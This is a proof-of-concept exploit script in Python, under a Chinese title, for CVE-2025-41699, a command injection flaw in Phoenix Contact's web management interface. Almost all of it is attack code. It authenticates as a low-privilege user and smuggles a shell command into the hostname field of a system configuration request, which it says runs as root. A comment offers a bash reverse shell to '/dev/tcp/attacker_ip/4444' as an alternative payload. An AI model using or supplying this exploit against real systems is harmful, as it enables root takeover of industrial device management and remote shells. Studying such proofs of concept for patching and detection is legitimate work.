CVE-2025-41699 Phoenix Contact Web管理平台命令注入漏洞

# CVE-2025-41699 PoC - Phoenix Contact Web Management Command Injection # Vulnerability: Improper Control of Generation of Code (Code Injection) # CVSS: 8.8 (HIGH) import requests import sys TARGET_URL = "https://target-host/wbm" # Web-based management endpoint USERNAME = "low_priv_user" # Low privilege account PASSWORD = "password123" # Account password def exploit_command_injection(target_url, username, password): """ Exploit command injection via system configuration modification. The vulnerability allows a low-privileged user to inject commands that will be executed as root through improper code generation. """ session = requests.Session() # Step 1: Authenticate with low-privilege account login_url = f"{target_url}/api/auth/login" login_data = { "username": username, "password": password } resp = session.post(login_url, json=login_data, verify=False) if resp.status_code != 200: print("[!] Authentication failed") return False print("[*] Authenticated successfully as low-privilege user") # Step 2: Modify system configuration with injected command # The malicious payload is injected into a configuration parameter # that will be processed by the backend code generation logic config_url = f"{target_url}/api/config/system" # Command injection payload - executed as root # Example: inject reverse shell or arbitrary command malicious_payload = "; id; #" # or: "; /bin/bash -i >& /dev/tcp/attacker_ip/4444 0>&1; #" config_data = { "hostname": f"legitimate_hostname{malicious_payload}", "description": "System configuration update" } # Step 3: Trigger the configuration change resp = session.put(config_url, json=config_data, verify=False) if resp.status_code == 200: print("[*] Configuration updated - command injection triggered") print("[*] Injected command executed as root") return True else: print(f"[!] Exploit failed: {resp.status_code}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_url>") sys.exit(1) target = sys.argv[1] exploit_command_injection(target, USERNAME, PASSWORD)